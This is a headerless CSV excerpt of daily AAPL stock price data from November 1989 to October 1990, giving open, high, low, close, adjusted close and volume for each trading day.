-1989-11-03,1.5714285373687744,1.5892857313156128,1.5446428060531616,1.5446428060531616,1.2525323629379272,43663200.0,AAPL
-1989-11-06,1.5535714626312256,1.5714285373687744,1.5357142686843872,1.5446428060531616,1.2525323629379272,30772000.0,AAPL
-1989-11-07,1.5446428060531616,1.5892857313156128,1.5446428060531616,1.5714285373687744,1.2742525339126587,37830800.0,AAPL
-1989-11-08,1.5803571939468384,1.6160714626312256,1.5803571939468384,1.6071428060531616,1.3032125234603882,35658000.0,AAPL
-1989-11-09,1.6071428060531616,1.6428571939468384,1.5892857313156128,1.6428571939468384,1.3321728706359863,22047200.0,AAPL
-1989-11-10,1.6339285373687744,1.6785714626312256,1.6339285373687744,1.6696428060531616,1.3538931608200073,16214800.0,AAPL
-1989-11-13,1.6607142686843872,1.6875,1.6607142686843872,1.6607142686843872,1.3466532230377197,17004400.0,AAPL
-1989-11-14,1.6607142686843872,1.6696428060531616,1.5892857313156128,1.5982142686843872,1.295972466468811,21095200.0,AAPL
-1989-11-15,1.6071428060531616,1.6160714626312256,1.5714285373687744,1.5803571939468384,1.2814921140670776,24446800.0,AAPL
-1989-11-16,1.5892857313156128,1.5982142686843872,1.5625,1.5982142686843872,1.295972466468811,24141600.0,AAPL
-1989-11-17,1.5892857313156128,1.6160714626312256,1.5892857313156128,1.5982142686843872,1.299167275428772,22139600.0,AAPL
-1989-11-20,1.6071428060531616,1.625,1.5892857313156128,1.6160714626312256,1.313683032989502,27017200.0,AAPL
-1989-11-21,1.6160714626312256,1.6607142686843872,1.6160714626312256,1.6160714626312256,1.313683032989502,35061600.0,AAPL
-1989-11-22,1.625,1.6339285373687744,1.5892857313156128,1.5982142686843872,1.299167275428772,24486000.0,AAPL
-1989-11-24,1.5982142686843872,1.6071428060531616,1.5982142686843872,1.5982142686843872,1.299167275428772,6963600.0,AAPL
-1989-11-27,1.5982142686843872,1.6160714626312256,1.5625,1.5714285373687744,1.2773935794830322,26286400.0,AAPL
-1989-11-28,1.5625,1.5803571939468384,1.5267857313156128,1.5758928060531616,1.2810224294662476,33843600.0,AAPL
-1989-11-29,1.5535714626312256,1.5803571939468384,1.5178571939468384,1.5714285373687744,1.2773935794830322,38236800.0,AAPL
-1989-11-30,1.5625,1.5892857313156128,1.5535714626312256,1.5803571939468384,1.2846511602401733,15862000.0,AAPL
-1989-12-01,1.5892857313156128,1.6071428060531616,1.5580357313156128,1.5714285373687744,1.2773935794830322,36556800.0,AAPL
-1989-12-04,1.5625,1.625,1.5625,1.6160714626312256,1.313683032989502,24340400.0,AAPL
-1989-12-05,1.6160714626312256,1.6339285373687744,1.5892857313156128,1.6071428060531616,1.306424856185913,30441600.0,AAPL
-1989-12-06,1.6071428060531616,1.6160714626312256,1.4642857313156128,1.5267857313156128,1.2411036491394043,83745200.0,AAPL
-1989-12-07,1.5089285373687744,1.5446428060531616,1.5,1.5267857313156128,1.2411036491394043,44604000.0,AAPL
-1989-12-08,1.5178571939468384,1.5357142686843872,1.4732142686843872,1.4910714626312256,1.2120723724365234,63145600.0,AAPL
-1989-12-11,1.4642857313156128,1.4821428060531616,1.3705357313156128,1.4017857313156128,1.1394929885864258,162503600.0,AAPL
-1989-12-12,1.4017857313156128,1.4107142686843872,1.25,1.2857142686843872,1.045140266418457,256354000.0,AAPL
-1989-12-13,1.2857142686843872,1.3035714626312256,1.2678571939468384,1.2857142686843872,1.045140266418457,97440000.0,AAPL
-1989-12-14,1.2767857313156128,1.2901785373687744,1.2321428060531616,1.2455357313156128,1.0124794244766235,76188000.0,AAPL
-1989-12-15,1.2410714626312256,1.25,1.1607142686843872,1.2053571939468384,0.97981858253479,129542000.0,AAPL
-1989-12-18,1.2053571939468384,1.25,1.2053571939468384,1.2410714626312256,1.0088508129119873,76801200.0,AAPL
-1989-12-19,1.2321428060531616,1.2678571939468384,1.2321428060531616,1.25,1.0161083936691284,62798400.0,AAPL
-1989-12-20,1.2767857313156128,1.2946428060531616,1.2589285373687744,1.2767857313156128,1.0378825664520264,44497600.0,AAPL
-1989-12-21,1.2767857313156128,1.2946428060531616,1.2678571939468384,1.2946428060531616,1.0523977279663086,76202000.0,AAPL
-1989-12-22,1.2946428060531616,1.3303571939468384,1.2857142686843872,1.3035714626312256,1.0596561431884766,46146800.0,AAPL
-1989-12-26,1.3125,1.3125,1.2589285373687744,1.2678571939468384,1.0306246280670166,33821200.0,AAPL
-1989-12-27,1.2678571939468384,1.2767857313156128,1.25,1.2544642686843872,1.0197376012802124,64251600.0,AAPL
-1989-12-28,1.25,1.2589285373687744,1.2232142686843872,1.2366071939468384,1.0052217245101929,37814000.0,AAPL
-1989-12-29,1.2410714626312256,1.2767857313156128,1.2276785373687744,1.2589285373687744,1.0233665704727173,38102400.0,AAPL
-1990-01-02,1.2589285373687744,1.3392857313156128,1.25,1.3303571939468384,1.0814296007156372,45799600.0,AAPL
-1990-01-03,1.3571428060531616,1.3571428060531616,1.3392857313156128,1.3392857313156128,1.0886880159378052,51998800.0,AAPL
-1990-01-04,1.3660714626312256,1.3839285373687744,1.3303571939468384,1.34375,1.0923165082931519,55378400.0,AAPL
-1990-01-05,1.3482142686843872,1.3660714626312256,1.3214285373687744,1.3482142686843872,1.0959457159042358,30828000.0,AAPL
-1990-01-08,1.3392857313156128,1.3571428060531616,1.3214285373687744,1.3571428060531616,1.103203296661377,25393200.0,AAPL
-1990-01-09,1.3571428060531616,1.3571428060531616,1.3214285373687744,1.34375,1.0923165082931519,21534800.0,AAPL
-1990-01-10,1.34375,1.34375,1.2767857313156128,1.2857142686843872,1.045140266418457,49929600.0,AAPL
-1990-01-11,1.2946428060531616,1.2946428060531616,1.2321428060531616,1.2321428060531616,1.001592755317688,52763200.0,AAPL
-1990-01-12,1.2232142686843872,1.2410714626312256,1.2053571939468384,1.2321428060531616,1.001592755317688,42974400.0,AAPL
-1990-01-15,1.2321428060531616,1.2767857313156128,1.2232142686843872,1.2232142686843872,0.9943346381187439,40434800.0,AAPL
-1990-01-16,1.1964285373687744,1.25,1.1696428060531616,1.2455357313156128,1.0124794244766235,53561200.0,AAPL
-1990-01-17,1.2410714626312256,1.2410714626312256,1.1785714626312256,1.1875,0.9653030037879944,49324800.0,AAPL
-1990-01-18,1.1785714626312256,1.1964285373687744,1.1517857313156128,1.15625,0.9399002194404602,68322800.0,AAPL
-1990-01-19,1.2053571939468384,1.2321428060531616,1.1964285373687744,1.2232142686843872,0.9943346381187439,66284400.0,AAPL
-1990-01-22,1.2142857313156128,1.2321428060531616,1.1875,1.1875,0.9653030037879944,36402800.0,AAPL
-1990-01-23,1.2053571939468384,1.2232142686843872,1.1785714626312256,1.2053571939468384,0.97981858253479,35218400.0,AAPL
-1990-01-24,1.1607142686843872,1.2232142686843872,1.1517857313156128,1.2142857313156128,0.9870768189430237,42448000.0,AAPL
-1990-01-25,1.2232142686843872,1.2410714626312256,1.2142857313156128,1.21875,0.9907053709030151,27885200.0,AAPL
-1990-01-26,1.2142857313156128,1.2142857313156128,1.1517857313156128,1.1696428060531616,0.9507874250411987,45312400.0,AAPL
-1990-01-29,1.1785714626312256,1.1964285373687744,1.1473214626312256,1.1875,0.9653030037879944,29982400.0,AAPL
-1990-01-30,1.1875,1.2321428060531616,1.1785714626312256,1.2142857313156128,0.9870768189430237,29111600.0,AAPL
-1990-01-31,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2142857313156128,0.9870768189430237,35985600.0,AAPL
-1990-02-01,1.2321428060531616,1.2366071939468384,1.1964285373687744,1.2008928060531616,0.9761896729469299,29268400.0,AAPL
-1990-02-02,1.1875,1.2410714626312256,1.1875,1.2232142686843872,0.9943346381187439,29618400.0,AAPL
-1990-02-05,1.2232142686843872,1.2589285373687744,1.2142857313156128,1.25,1.0161083936691284,25438000.0,AAPL
-1990-02-06,1.2410714626312256,1.25,1.2142857313156128,1.2410714626312256,1.0088508129119873,18480000.0,AAPL
-1990-02-07,1.1785714626312256,1.2142857313156128,1.1607142686843872,1.1875,0.9653030037879944,78111600.0,AAPL
-1990-02-08,1.1875,1.1964285373687744,1.1517857313156128,1.1785714626312256,0.9580447673797607,46659200.0,AAPL
-1990-02-09,1.1964285373687744,1.2321428060531616,1.1875,1.2232142686843872,0.9943346381187439,42019600.0,AAPL
-1990-02-12,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2142857313156128,0.9870768189430237,18729200.0,AAPL
-1990-02-13,1.2142857313156128,1.25,1.2053571939468384,1.2321428060531616,1.001592755317688,25541600.0,AAPL
-1990-02-14,1.2321428060531616,1.2410714626312256,1.2053571939468384,1.2232142686843872,0.9943346381187439,24015600.0,AAPL
-1990-02-15,1.2053571939468384,1.2232142686843872,1.1964285373687744,1.2232142686843872,0.9943346381187439,24491600.0,AAPL
-1990-02-16,1.2232142686843872,1.2321428060531616,1.2053571939468384,1.2053571939468384,0.9829767346382141,31802400.0,AAPL
-1990-02-20,1.1964285373687744,1.2053571939468384,1.1785714626312256,1.1964285373687744,0.9756957292556763,30811200.0,AAPL
-1990-02-21,1.1696428060531616,1.2232142686843872,1.1607142686843872,1.2142857313156128,0.9902583956718445,43976800.0,AAPL
-1990-02-22,1.2142857313156128,1.2321428060531616,1.1785714626312256,1.1785714626312256,0.9611327648162842,48795600.0,AAPL
-1990-02-23,1.1696428060531616,1.1964285373687744,1.1696428060531616,1.1875,0.9684143662452698,37489200.0,AAPL
-1990-02-26,1.1785714626312256,1.2232142686843872,1.1785714626312256,1.2142857313156128,0.9902583956718445,19902400.0,AAPL
-1990-02-27,1.2142857313156128,1.2232142686843872,1.1964285373687744,1.1964285373687744,0.9756957292556763,18488400.0,AAPL
-1990-02-28,1.1964285373687744,1.2142857313156128,1.1875,1.2142857313156128,0.9902583956718445,27333600.0,AAPL
-1990-03-01,1.1964285373687744,1.2410714626312256,1.1875,1.2232142686843872,0.9975396394729614,50974000.0,AAPL
-1990-03-02,1.1964285373687744,1.2410714626312256,1.1875,1.2053571939468384,0.9829767346382141,26224800.0,AAPL
-1990-03-05,1.1964285373687744,1.2410714626312256,1.1964285373687744,1.2321428060531616,1.0048211812973022,45617600.0,AAPL
-1990-03-06,1.25,1.2589285373687744,1.2321428060531616,1.2589285373687744,1.026665210723877,39004000.0,AAPL
-1990-03-07,1.25,1.2857142686843872,1.25,1.2633928060531616,1.03030526638031,51055200.0,AAPL
-1990-03-08,1.2767857313156128,1.3214285373687744,1.25,1.3125,1.0703527927398682,55960800.0,AAPL
-1990-03-09,1.3125,1.3392857313156128,1.2946428060531616,1.3169642686843872,1.073993444442749,57618400.0,AAPL
-1990-03-12,1.3303571939468384,1.3392857313156128,1.2946428060531616,1.3080357313156128,1.0667122602462769,40989200.0,AAPL
-1990-03-13,1.3035714626312256,1.3303571939468384,1.2946428060531616,1.3169642686843872,1.073993444442749,37144800.0,AAPL
-1990-03-14,1.3125,1.3303571939468384,1.3035714626312256,1.3214285373687744,1.0776340961456299,25446400.0,AAPL
-1990-03-15,1.3035714626312256,1.3571428060531616,1.3035714626312256,1.3125,1.0703527927398682,30058000.0,AAPL
-1990-03-16,1.4285714626312256,1.4553571939468384,1.3973214626312256,1.4375,1.1722915172576904,161190400.0,AAPL
-1990-03-19,1.4464285373687744,1.5178571939468384,1.4285714626312256,1.5133928060531616,1.2341824769973755,107948400.0,AAPL
-1990-03-20,1.5089285373687744,1.5357142686843872,1.4553571939468384,1.4776785373687744,1.20505690574646,97829200.0,AAPL
-1990-03-21,1.4732142686843872,1.5089285373687744,1.4732142686843872,1.4866071939468384,1.2123383283615112,38183600.0,AAPL
-1990-03-22,1.4910714626312256,1.5089285373687744,1.4553571939468384,1.4553571939468384,1.186853289604187,57915200.0,AAPL
-1990-03-23,1.4732142686843872,1.5357142686843872,1.4642857313156128,1.5089285373687744,1.2305415868759155,56996800.0,AAPL
-1990-03-26,1.5178571939468384,1.5491071939468384,1.5,1.5089285373687744,1.2305415868759155,32015200.0,AAPL
-1990-03-27,1.5,1.5089285373687744,1.4732142686843872,1.5,1.2232601642608643,21151200.0,AAPL
-1990-03-28,1.5,1.5044642686843872,1.4642857313156128,1.4732142686843872,1.2014161348342896,25734800.0,AAPL
-1990-03-29,1.4642857313156128,1.4821428060531616,1.4553571939468384,1.46875,1.197775959968567,24222800.0,AAPL
-1990-03-30,1.4285714626312256,1.4642857313156128,1.4285714626312256,1.4375,1.1722915172576904,55837600.0,AAPL
-1990-04-02,1.4285714626312256,1.4508928060531616,1.4107142686843872,1.4375,1.1722915172576904,37192400.0,AAPL
-1990-04-03,1.4464285373687744,1.4910714626312256,1.4464285373687744,1.4910714626312256,1.2159792184829712,34927200.0,AAPL
-1990-04-04,1.4821428060531616,1.5,1.4553571939468384,1.4732142686843872,1.2014161348342896,37433200.0,AAPL
-1990-04-05,1.4642857313156128,1.4732142686843872,1.4285714626312256,1.4375,1.1722915172576904,27048000.0,AAPL
-1990-04-06,1.4375,1.4732142686843872,1.4196428060531616,1.4241071939468384,1.1613690853118896,29559600.0,AAPL
-1990-04-09,1.4196428060531616,1.4821428060531616,1.4107142686843872,1.46875,1.197775959968567,26370400.0,AAPL
-1990-04-10,1.4732142686843872,1.5,1.4642857313156128,1.4732142686843872,1.2014161348342896,32830000.0,AAPL
-1990-04-11,1.4821428060531616,1.5357142686843872,1.4821428060531616,1.5178571939468384,1.2378230094909668,53289600.0,AAPL
-1990-04-12,1.5357142686843872,1.5714285373687744,1.5178571939468384,1.5446428060531616,1.2596670389175415,52950800.0,AAPL
-1990-04-16,1.5535714626312256,1.5803571939468384,1.5446428060531616,1.5625,1.274229645729065,56722400.0,AAPL
-1990-04-17,1.5446428060531616,1.5535714626312256,1.5267857313156128,1.5446428060531616,1.2596670389175415,32776800.0,AAPL
-1990-04-18,1.5446428060531616,1.5625,1.5178571939468384,1.5446428060531616,1.2596670389175415,48361600.0,AAPL
-1990-04-19,1.4910714626312256,1.5401785373687744,1.4285714626312256,1.4375,1.1722915172576904,120369200.0,AAPL
-1990-04-20,1.4598214626312256,1.4821428060531616,1.4196428060531616,1.4375,1.1722915172576904,80880800.0,AAPL
-1990-04-23,1.4375,1.4464285373687744,1.4107142686843872,1.4196428060531616,1.1577285528182983,32088000.0,AAPL
-1990-04-24,1.4285714626312256,1.4464285373687744,1.375,1.3839285373687744,1.1286031007766724,75933200.0,AAPL
-1990-04-25,1.3839285373687744,1.3928571939468384,1.3660714626312256,1.3839285373687744,1.1286031007766724,33143600.0,AAPL
-1990-04-26,1.3928571939468384,1.4107142686843872,1.3616071939468384,1.3883928060531616,1.1322442293167114,35540400.0,AAPL
-1990-04-27,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.3973214626312256,1.1395254135131836,29103200.0,AAPL
-1990-04-30,1.4017857313156128,1.4196428060531616,1.3928571939468384,1.40625,1.1468067169189453,34098400.0,AAPL
-1990-05-01,1.4196428060531616,1.4285714626312256,1.40625,1.4151785373687744,1.154088020324707,40902400.0,AAPL
-1990-05-02,1.4196428060531616,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1577285528182983,33857600.0,AAPL
-1990-05-03,1.4196428060531616,1.4375,1.4196428060531616,1.4285714626312256,1.1650097370147705,41577200.0,AAPL
-1990-05-04,1.4285714626312256,1.4553571939468384,1.4017857313156128,1.4285714626312256,1.1650097370147705,42383600.0,AAPL
-1990-05-07,1.4196428060531616,1.4910714626312256,1.4196428060531616,1.4821428060531616,1.20869779586792,33997600.0,AAPL
-1990-05-08,1.4642857313156128,1.5,1.4642857313156128,1.4910714626312256,1.2159792184829712,28114800.0,AAPL
-1990-05-09,1.4866071939468384,1.5,1.4732142686843872,1.4955357313156128,1.2196197509765625,24309600.0,AAPL
-1990-05-10,1.4910714626312256,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.20505690574646,44760800.0,AAPL
-1990-05-11,1.4776785373687744,1.5267857313156128,1.4553571939468384,1.5223214626312256,1.2414636611938477,53810400.0,AAPL
-1990-05-14,1.5267857313156128,1.5267857313156128,1.4732142686843872,1.4910714626312256,1.2159792184829712,56596400.0,AAPL
-1990-05-15,1.4776785373687744,1.5,1.4642857313156128,1.4910714626312256,1.2159792184829712,37346400.0,AAPL
-1990-05-16,1.4910714626312256,1.4910714626312256,1.4642857313156128,1.4866071939468384,1.2123383283615112,21826000.0,AAPL
-1990-05-17,1.4910714626312256,1.5089285373687744,1.4642857313156128,1.4821428060531616,1.20869779586792,38396400.0,AAPL
-1990-05-18,1.4732142686843872,1.4821428060531616,1.4107142686843872,1.4196428060531616,1.1577285528182983,64615600.0,AAPL
-1990-05-21,1.4107142686843872,1.4285714626312256,1.3839285373687744,1.4107142686843872,1.153640866279602,65620800.0,AAPL
-1990-05-22,1.4330357313156128,1.4821428060531616,1.4285714626312256,1.4776785373687744,1.2084025144577026,75272400.0,AAPL
-1990-05-23,1.4732142686843872,1.5178571939468384,1.4732142686843872,1.5,1.2266559600830078,51878400.0,AAPL
-1990-05-24,1.5089285373687744,1.5089285373687744,1.4821428060531616,1.5,1.2266559600830078,37032800.0,AAPL
-1990-05-25,1.4107142686843872,1.4553571939468384,1.3928571939468384,1.4285714626312256,1.1682438850402832,80830400.0,AAPL
-1990-05-29,1.4285714626312256,1.4732142686843872,1.4017857313156128,1.4642857313156128,1.1974502801895142,60802000.0,AAPL
-1990-05-30,1.4866071939468384,1.4910714626312256,1.4732142686843872,1.4776785373687744,1.2084025144577026,69204800.0,AAPL
-1990-05-31,1.4821428060531616,1.4821428060531616,1.4642857313156128,1.4732142686843872,1.2047516107559204,25771200.0,AAPL
-1990-06-01,1.4776785373687744,1.5,1.4553571939468384,1.4553571939468384,1.1901482343673706,39309200.0,AAPL
-1990-06-04,1.4553571939468384,1.4642857313156128,1.4196428060531616,1.4553571939468384,1.1901482343673706,44856000.0,AAPL
-1990-06-05,1.4642857313156128,1.4642857313156128,1.3928571939468384,1.4107142686843872,1.153640866279602,74858000.0,AAPL
-1990-06-06,1.3928571939468384,1.4107142686843872,1.3839285373687744,1.4107142686843872,1.153640866279602,52936800.0,AAPL
-1990-06-07,1.4107142686843872,1.4196428060531616,1.375,1.3928571939468384,1.1390372514724731,46608800.0,AAPL
-1990-06-08,1.375,1.375,1.3392857313156128,1.3660714626312256,1.117133378982544,83470800.0,AAPL
-1990-06-11,1.3482142686843872,1.3928571939468384,1.3482142686843872,1.3928571939468384,1.1390372514724731,39474400.0,AAPL
-1990-06-12,1.3973214626312256,1.4464285373687744,1.3839285373687744,1.4464285373687744,1.1828471422195435,41258000.0,AAPL
-1990-06-13,1.4419642686843872,1.4553571939468384,1.4196428060531616,1.4196428060531616,1.1609421968460083,34736800.0,AAPL
-1990-06-14,1.4285714626312256,1.4375,1.4017857313156128,1.4196428060531616,1.1609421968460083,35081200.0,AAPL
-1990-06-15,1.4196428060531616,1.4285714626312256,1.3973214626312256,1.4107142686843872,1.153640866279602,36036000.0,AAPL
-1990-06-18,1.4017857313156128,1.4107142686843872,1.3928571939468384,1.4017857313156128,1.1463392972946167,27848800.0,AAPL
-1990-06-19,1.3928571939468384,1.4196428060531616,1.3705357313156128,1.4151785373687744,1.1572916507720947,39306400.0,AAPL
-1990-06-20,1.4241071939468384,1.4375,1.4196428060531616,1.4285714626312256,1.1682438850402832,38684800.0,AAPL
-1990-06-21,1.4285714626312256,1.5,1.4285714626312256,1.4955357313156128,1.2230054140090942,52150000.0,AAPL
-1990-06-22,1.5,1.5223214626312256,1.4732142686843872,1.4821428060531616,1.2120529413223267,70994000.0,AAPL
-1990-06-25,1.4821428060531616,1.4910714626312256,1.4375,1.4732142686843872,1.2047516107559204,30500400.0,AAPL
-1990-06-26,1.4910714626312256,1.5,1.4419642686843872,1.4508928060531616,1.1864975690841675,31813600.0,AAPL
-1990-06-27,1.4553571939468384,1.5,1.4375,1.4821428060531616,1.2120529413223267,24306800.0,AAPL
-1990-06-28,1.5267857313156128,1.5446428060531616,1.4910714626312256,1.5357142686843872,1.2558623552322388,62484800.0,AAPL
-1990-06-29,1.5357142686843872,1.6026785373687744,1.5267857313156128,1.5982142686843872,1.3069730997085571,81298000.0,AAPL
-1990-07-02,1.5892857313156128,1.5892857313156128,1.5625,1.5714285373687744,1.285068154335022,33852000.0,AAPL
-1990-07-03,1.5669642686843872,1.5892857313156128,1.5625,1.5714285373687744,1.285068154335022,24875200.0,AAPL
-1990-07-05,1.5625,1.5803571939468384,1.5446428060531616,1.5535714626312256,1.2704647779464722,26866000.0,AAPL
-1990-07-06,1.5535714626312256,1.6071428060531616,1.5446428060531616,1.5982142686843872,1.3069730997085571,52264800.0,AAPL
-1990-07-09,1.6071428060531616,1.6785714626312256,1.5982142686843872,1.6651785373687744,1.36173415184021,78864800.0,AAPL
-1990-07-10,1.6785714626312256,1.6964285373687744,1.6696428060531616,1.6785714626312256,1.3726866245269775,90356000.0,AAPL
-1990-07-11,1.6696428060531616,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.3726866245269775,61538400.0,AAPL
-1990-07-12,1.6696428060531616,1.6964285373687744,1.6607142686843872,1.6919642686843872,1.3836390972137451,45617600.0,AAPL
-1990-07-13,1.6964285373687744,1.7053571939468384,1.6696428060531616,1.6696428060531616,1.365384578704834,57744400.0,AAPL
-1990-07-16,1.6696428060531616,1.6830357313156128,1.6160714626312256,1.6294642686843872,1.3325281143188477,44926000.0,AAPL
-1990-07-17,1.6339285373687744,1.6428571939468384,1.5714285373687744,1.5803571939468384,1.2923694849014282,34213200.0,AAPL
-1990-07-18,1.5892857313156128,1.6071428060531616,1.5357142686843872,1.59375,1.3033223152160645,72091600.0,AAPL
-1990-07-19,1.4553571939468384,1.5178571939468384,1.4285714626312256,1.4910714626312256,1.219354271888733,146496000.0,AAPL
-1990-07-20,1.5,1.5178571939468384,1.4553571939468384,1.4642857313156128,1.1974502801895142,47961200.0,AAPL
-1990-07-23,1.4642857313156128,1.4910714626312256,1.4285714626312256,1.4821428060531616,1.2120529413223267,67547200.0,AAPL
-1990-07-24,1.5,1.5089285373687744,1.4642857313156128,1.5044642686843872,1.2303071022033691,48479200.0,AAPL
-1990-07-25,1.5,1.5446428060531616,1.4910714626312256,1.5089285373687744,1.2339576482772827,26230400.0,AAPL
-1990-07-26,1.5089285373687744,1.5178571939468384,1.4642857313156128,1.4776785373687744,1.2084025144577026,20084400.0,AAPL
-1990-07-27,1.4732142686843872,1.4910714626312256,1.4464285373687744,1.4776785373687744,1.2084025144577026,15579200.0,AAPL
-1990-07-30,1.4553571939468384,1.5178571939468384,1.4553571939468384,1.5133928060531616,1.237608551979065,21364000.0,AAPL
-1990-07-31,1.5178571939468384,1.5267857313156128,1.4821428060531616,1.5,1.2266559600830078,24001600.0,AAPL
-1990-08-01,1.5,1.5267857313156128,1.4821428060531616,1.5133928060531616,1.237608551979065,23377200.0,AAPL
-1990-08-02,1.4732142686843872,1.5625,1.4732142686843872,1.5535714626312256,1.2704647779464722,55781600.0,AAPL
-1990-08-03,1.5535714626312256,1.5625,1.4196428060531616,1.4732142686843872,1.2047516107559204,67242000.0,AAPL
-1990-08-06,1.3928571939468384,1.4464285373687744,1.375,1.4107142686843872,1.153640866279602,44914800.0,AAPL
-1990-08-07,1.4375,1.4508928060531616,1.3839285373687744,1.4107142686843872,1.153640866279602,49632800.0,AAPL
-1990-08-08,1.4107142686843872,1.4553571939468384,1.4107142686843872,1.4330357313156128,1.1718945503234863,25634000.0,AAPL
-1990-08-09,1.4375,1.4464285373687744,1.4017857313156128,1.4107142686843872,1.153640866279602,24096800.0,AAPL
-1990-08-10,1.3839285373687744,1.4017857313156128,1.3660714626312256,1.3839285373687744,1.131736397743225,25676000.0,AAPL
-1990-08-13,1.3571428060531616,1.4285714626312256,1.3526785373687744,1.4241071939468384,1.1645928621292114,39029200.0,AAPL
-1990-08-14,1.4285714626312256,1.4285714626312256,1.4017857313156128,1.4196428060531616,1.1609421968460083,24542000.0,AAPL
-1990-08-15,1.4285714626312256,1.4375,1.4017857313156128,1.4017857313156128,1.1463392972946167,23013200.0,AAPL
-1990-08-16,1.3928571939468384,1.4151785373687744,1.375,1.375,1.124434232711792,30973600.0,AAPL
-1990-08-17,1.375,1.375,1.2767857313156128,1.3035714626312256,1.0660229921340942,61527200.0,AAPL
-1990-08-20,1.3035714626312256,1.3392857313156128,1.2946428060531616,1.3125,1.07656991481781,18765600.0,AAPL
-1990-08-21,1.2767857313156128,1.3125,1.2589285373687744,1.2946428060531616,1.0619226694107056,40261200.0,AAPL
-1990-08-22,1.3214285373687744,1.3214285373687744,1.2455357313156128,1.2544642686843872,1.0289660692214966,30679600.0,AAPL
-1990-08-23,1.2232142686843872,1.25,1.1964285373687744,1.2321428060531616,1.0106570720672607,35924000.0,AAPL
-1990-08-24,1.2589285373687744,1.2857142686843872,1.2410714626312256,1.2678571939468384,1.0399515628814697,18354000.0,AAPL
-1990-08-27,1.3125,1.3571428060531616,1.2946428060531616,1.3482142686843872,1.1058646440505981,29366400.0,AAPL
-1990-08-28,1.3392857313156128,1.3705357313156128,1.3303571939468384,1.3616071939468384,1.1168495416641235,20048000.0,AAPL
-1990-08-29,1.3571428060531616,1.3616071939468384,1.3125,1.3303571939468384,1.0912171602249146,37732800.0,AAPL
-1990-08-30,1.3303571939468384,1.3392857313156128,1.2857142686843872,1.2946428060531616,1.0619226694107056,30648800.0,AAPL
-1990-08-31,1.2857142686843872,1.3303571939468384,1.2857142686843872,1.3214285373687744,1.0838934183120728,24864000.0,AAPL
-1990-09-04,1.3035714626312256,1.3392857313156128,1.3035714626312256,1.3214285373687744,1.0838934183120728,20686400.0,AAPL
-1990-09-05,1.3303571939468384,1.3303571939468384,1.2767857313156128,1.2857142686843872,1.0545989274978638,16013200.0,AAPL
-1990-09-06,1.2678571939468384,1.2857142686843872,1.2589285373687744,1.2767857313156128,1.0472756624221802,21907200.0,AAPL
-1990-09-07,1.2678571939468384,1.3125,1.2544642686843872,1.2991071939468384,1.065584659576416,14543200.0,AAPL
-1990-09-10,1.3214285373687744,1.3214285373687744,1.2767857313156128,1.2767857313156128,1.0472756624221802,18995200.0,AAPL
-1990-09-11,1.2857142686843872,1.2901785373687744,1.2053571939468384,1.2142857313156128,0.9960101842880249,44567600.0,AAPL
-1990-09-12,1.2321428060531616,1.2321428060531616,1.1964285373687744,1.2142857313156128,0.9960101842880249,25102000.0,AAPL
-1990-09-13,1.2321428060531616,1.2410714626312256,1.1785714626312256,1.2053571939468384,0.9886866211891174,24315200.0,AAPL
-1990-09-14,1.1964285373687744,1.2232142686843872,1.1875,1.2142857313156128,0.9960101842880249,28478800.0,AAPL
-1990-09-17,1.2142857313156128,1.2589285373687744,1.1964285373687744,1.2053571939468384,0.9886866211891174,19418000.0,AAPL
-1990-09-18,1.2053571939468384,1.2053571939468384,1.1785714626312256,1.1919642686843872,0.9777010679244995,31152800.0,AAPL
-1990-09-19,1.1875,1.2053571939468384,1.1428571939468384,1.1607142686843872,0.9520682096481323,45614800.0,AAPL
-1990-09-20,1.1517857313156128,1.1517857313156128,1.1160714626312256,1.1294642686843872,0.9264357686042786,25233600.0,AAPL
-1990-09-21,1.1428571939468384,1.1607142686843872,1.1071428060531616,1.125,0.9227741360664368,38466400.0,AAPL
-1990-09-24,1.125,1.125,1.0625,1.0803571939468384,0.8861560821533203,34624800.0,AAPL
-1990-09-25,1.0892857313156128,1.0982142686843872,1.0446428060531616,1.0714285373687744,0.8788325190544128,39488400.0,AAPL
-1990-09-26,1.0714285373687744,1.0892857313156128,1.0625,1.0625,0.8715088367462158,23534000.0,AAPL
-1990-09-27,1.0714285373687744,1.0892857313156128,1.0,1.0089285373687744,0.8275671601295471,35585200.0,AAPL
-1990-09-28,1.0178571939468384,1.0357142686843872,0.9732142686843872,1.0357142686843872,0.8495379686355591,44010400.0,AAPL
-1990-10-01,1.0535714626312256,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.8934794664382935,38914400.0,AAPL
-1990-10-02,1.1071428060531616,1.1428571939468384,1.0535714626312256,1.0580357313156128,0.8678469657897949,67746000.0,AAPL
-1990-10-03,1.0625,1.0625,0.9553571343421936,0.9642857313156128,0.7909492254257202,67060000.0,AAPL
-1990-10-04,0.9553571343421936,1.0,0.9375,1.0,0.8202435970306396,53373600.0,AAPL
-1990-10-05,0.9642857313156128,1.0267857313156128,0.9642857313156128,1.0,0.8202435970306396,24872400.0,AAPL
-1990-10-08,1.0267857313156128,1.0446428060531616,1.0089285373687744,1.0401785373687744,0.8531997203826904,15383200.0,AAPL
-1990-10-09,1.0178571939468384,1.0357142686843872,0.9910714030265808,1.0,0.8202435970306396,30144800.0,AAPL
-1990-10-10,0.9732142686843872,1.0,0.9285714030265808,0.9464285969734192,0.7763020396232605,36976800.0,AAPL
-1990-10-11,0.9553571343421936,0.9955357313156128,0.9107142686843872,0.9910714030265808,0.8129199147224426,51494800.0,AAPL
-1990-10-12,1.0089285373687744,1.0178571939468384,0.9642857313156128,1.0089285373687744,0.8275671601295471,57162000.0,AAPL
-1990-10-15,1.0178571939468384,1.0267857313156128,0.9508928656578064,0.9910714030265808,0.8129199147224426,50254400.0,AAPL
-1990-10-16,0.9821428656578064,0.9821428656578064,0.8660714030265808,0.8928571343421936,0.7323604226112366,76308400.0,AAPL
-1990-10-17,0.9017857313156128,0.9464285969734192,0.8928571343421936,0.9464285969734192,0.7763020396232605,77266000.0,AAPL
-1990-10-18,0.9464285969734192,1.0267857313156128,0.9464285969734192,1.0178571939468384,0.8348909616470337,78750000.0,AAPL
-1990-10-19,1.1160714626312256,1.1339285373687744,1.0803571939468384,1.1205357313156128,0.9191122055053711,233433200.0,AAPL
-1990-10-22,1.125,1.125,1.0892857313156128,1.1116071939468384,0.9117885828018188,63184800.0,AAPL
